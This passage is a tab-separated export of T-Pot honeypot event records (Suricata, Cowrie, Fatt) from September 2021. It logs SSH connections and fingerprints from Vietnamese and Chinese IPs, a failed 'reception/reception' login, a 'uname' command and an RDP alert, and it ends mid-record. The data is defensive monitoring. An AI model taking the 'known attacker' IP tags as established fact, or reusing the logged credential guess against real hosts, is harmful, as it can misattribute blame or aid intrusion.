21138	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:36.34288+03	2021-09-20 14:15:03.272642+03	{"_id": "eAbiAnwBvYTbRNuE5gBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1786927237503715, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43288, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.342880Z", "@timestamp": "2021-09-20T11:06:36.342Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21139	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:36.725702+03	2021-09-20 14:15:03.273614+03	{"_id": "ewbiAnwBvYTbRNuE5gBG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 772765199929424, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51936, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.725702Z", "@timestamp": "2021-09-20T11:06:36.725Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21140	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.238077+03	2021-09-20 14:15:03.275642+03	{"_id": "fAbiAnwBvYTbRNuE5wA4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3b9958767162", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:36.238077Z", "@timestamp": "2021-09-20T11:06:36.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21141	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:36.310125+03	2021-09-20 14:15:03.276643+03	{"_id": "fQbiAnwBvYTbRNuE5wA4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "223.241.247.214", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5963256359100342, "duplicate": true, "timestamp": "2021-09-20T11:06:36.310125Z", "@timestamp": "2021-09-20T11:06:36.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21147	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:36.716044+03	2021-09-20 14:15:03.283645+03	{"_id": "ggbiAnwBvYTbRNuE5wA4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:36.716044Z", "@timestamp": "2021-09-20T11:06:36.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21142	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:36.343918+03	2021-09-20 14:15:03.277652+03	{"_id": "fgbiAnwBvYTbRNuE5wA4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7d2bd67868c0", "@version": "1", "timestamp": "2021-09-20T11:06:36.343918Z", "@timestamp": "2021-09-20T11:06:36.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21143	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.235268+03	2021-09-20 14:15:03.278643+03	{"_id": "hAbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:36926 (192.168.176.2:22) [session: 3b9958767162]", "session": "3b9958767162", "@version": "1", "protocol": "ssh", "src_port": 36926, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.235268Z", "@timestamp": "2021-09-20T11:06:36.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21144	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.448389+03	2021-09-20 14:15:03.280642+03	{"_id": "hQbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51936 (192.168.176.2:22) [session: 2811eb54717c]", "session": "2811eb54717c", "@version": "1", "protocol": "ssh", "src_port": 51936, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.448389Z", "@timestamp": "2021-09-20T11:06:36.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21145	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.591885+03	2021-09-20 14:15:03.281642+03	{"_id": "gAbiAnwBvYTbRNuE5wA4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [reception/reception] failed", "session": "b81e5eaa956b", "@version": "1", "password": "reception", "username": "reception", "timestamp": "2021-09-20T11:06:36.591885Z", "@timestamp": "2021-09-20T11:06:36.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21146	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:36.071349+03	2021-09-20 14:15:03.282652+03	{"_id": "hgbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43288, "timestamp": "2021-09-20T11:06:36.071349", "@timestamp": "2021-09-20T11:06:36.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21148	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:36.343+03	2021-09-20 14:15:03.285642+03	{"_id": "iAbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43288, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.343000", "@timestamp": "2021-09-20T11:06:36.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21149	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:41.983553+03	2021-09-20 14:15:03.286643+03	{"_id": "jQbiAnwBvYTbRNuE_QG9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1247816500464102, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54144, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.983553Z", "@timestamp": "2021-09-20T11:06:41.983Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21150	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:06:42.000791+03	2021-09-20 14:15:03.288614+03	{"_id": "jgbiAnwBvYTbRNuE_QG9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:05:40.786864+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1800819305611696, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 56643, "timestamp": "2021-09-20T11:06:42.000791Z", "@timestamp": "2021-09-20T11:06:42.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
21151	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:42.679369+03	2021-09-20 14:15:03.289612+03	{"_id": "jwbiAnwBvYTbRNuE_QG9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1024832535981822, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58814, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.679369Z", "@timestamp": "2021-09-20T11:06:42.679Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21152	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:42.890455+03	2021-09-20 14:15:03.291643+03	{"_id": "kAbiAnwBvYTbRNuE_QG9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 188282428331677, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36564, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.890455Z", "@timestamp": "2021-09-20T11:06:42.890Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21153	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:42.402402+03	2021-09-20 14:15:03.293614+03	{"_id": "kQbiAnwBvYTbRNuE_wEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58814 (192.168.176.2:22) [session: c32c6a88cee8]", "session": "c32c6a88cee8", "@version": "1", "protocol": "ssh", 